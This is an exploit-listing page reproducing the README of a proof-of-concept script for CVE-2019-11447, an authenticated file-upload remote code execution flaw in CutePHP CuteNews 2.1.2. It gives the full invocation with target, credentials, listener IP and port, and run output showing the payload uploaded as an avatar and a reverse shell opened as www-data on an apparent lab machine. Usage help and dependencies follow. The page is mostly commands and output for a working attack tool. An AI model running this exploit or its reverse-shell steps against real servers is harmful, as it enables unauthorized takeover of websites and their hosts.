Sploitus

Exploit for cve-2019-11447 CVE-2019-11447

kitploit Β· 2026-08-26

Exploit Code

MARKDOWN84 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THEWHITEH4T-CVE-2019-11447
# CVE-2019-11447

## CutePHP Cute News 2.1.2 RCE PoC

**λŒ€μƒ:** 2.1.2

이 PoC μŠ€ν¬λ¦½νŠΈλŠ” **BobbySox** κ°€ μž‘μ„±ν•œ 원본 μ΅μŠ€ν”Œλ‘œμž‡μ˜ κ°„λ‹¨ν•œ κ΅¬ν˜„μ„ 기반으둜 ν•©λ‹ˆλ‹€. 원본 μ΅μŠ€ν”Œλ‘œμž‡μ€ **Akuss** 의 MSF λͺ¨λ“ˆμž…λ‹ˆλ‹€.

이 μŠ€ν¬λ¦½νŠΈλŠ” λŒ€μƒ IP μ£Όμ†Œ λ˜λŠ” 도메인과 ν•¨κ»˜ 자격 증λͺ…이 ν•„μš”ν•˜λ©°, μžλ™μœΌλ‘œ λ‘œκ·ΈμΈν•˜κ³ , νŽ˜μ΄λ‘œλ“œλ₯Ό μ—…λ‘œλ“œν•˜κ³ , νŠΈλ¦¬κ±°ν•˜μ—¬ λ¦¬λ²„μŠ€ 셸을 νšλ“ν•©λ‹ˆλ‹€.

root@kitploit:~
    
    
    python cve-2019-11447.py -t 10.10.10.206 -u twh -p p4ssw0rd -lh 10.10.16.2 -lp 4444 -f shell
    
    --------------------------------------
    --- CVE-2019-11447 -------------------
    --- CuteNews Arbitrary File Upload ---
    --- CutePHP CuteNews 2.1.2 -----------
    --------------------------------------
    
    [>] Found By : Akkus       [ https://twitter.com/ehakkus     ]
    [>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
    
    [>] Target   : http://10.10.10.206/CuteNews/index.php
    [>] Username : twh
    [>] Password : p4ssw0rd
    
    [!] Logging in...
    [+] Logged In!
    [+] Loading Profile...
    [+] Searching Signatures...
    [!] Uploading Payload...
    [+] Loading Profile...
    [+] Searching Avatar URL...
    [*] URL : http://passage.htb/CuteNews/uploads/avatar_twh_shell.php
    [!] Payload will trigger in 5 seconds...
    [!] Starting Listner...
    [+] Trying to bind to :: on port 4444: Done
    [+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.10.206 on port 35196
    [*] Switching to interactive mode
    bash: cannot set terminal process group (1656): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@passage:/var/www/html/CuteNews/uploads$ $ id
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@passage:/var/www/html/CuteNews/uploads$ $
    

## 쒅속성

root@kitploit:~
    
    
    pip3 install requests bs4 pwntools
    

## μ‚¬μš©λ²•

root@kitploit:~
    
    
    python cve-2019-11447.py -h
    usage: cve-2019-11447.py [-h] [-t TARGET] [-u UNAME] [-p PASSW] [-lh LHOST] [-lp LPORT] [-f FILE]
    
    optional arguments:
      -h, --help                    show this help message and exit
      -t TARGET, --target TARGET    Target IP address or domain
      -u UNAME, --uname UNAME       Username
      -p PASSW, --passw PASSW       Password
      -lh LHOST, --lhost LHOST      Listener IP address
      -lp LPORT, --lport LPORT      Listener Port
      -f FILE, --file FILE          Filename for payload WITHOUT extension
    

## ν¬λ ˆλ”§

  * 이 취약점을 λ°œκ²¬ν•΄ μ£Όμ‹  **Akuss** λ‹˜κ»˜ κ°μ‚¬λ“œλ¦½λ‹ˆλ‹€.

    * https://www.exploit-db.com/exploits/46698/
  * κ°„λ‹¨ν•˜κ²Œ κ΅¬ν˜„ν•΄ μ£Όμ‹  **BobbySox** λ‹˜κ»˜ κ°μ‚¬λ“œλ¦½λ‹ˆλ‹€.

    * https://github.com/kyle41111/CuteScript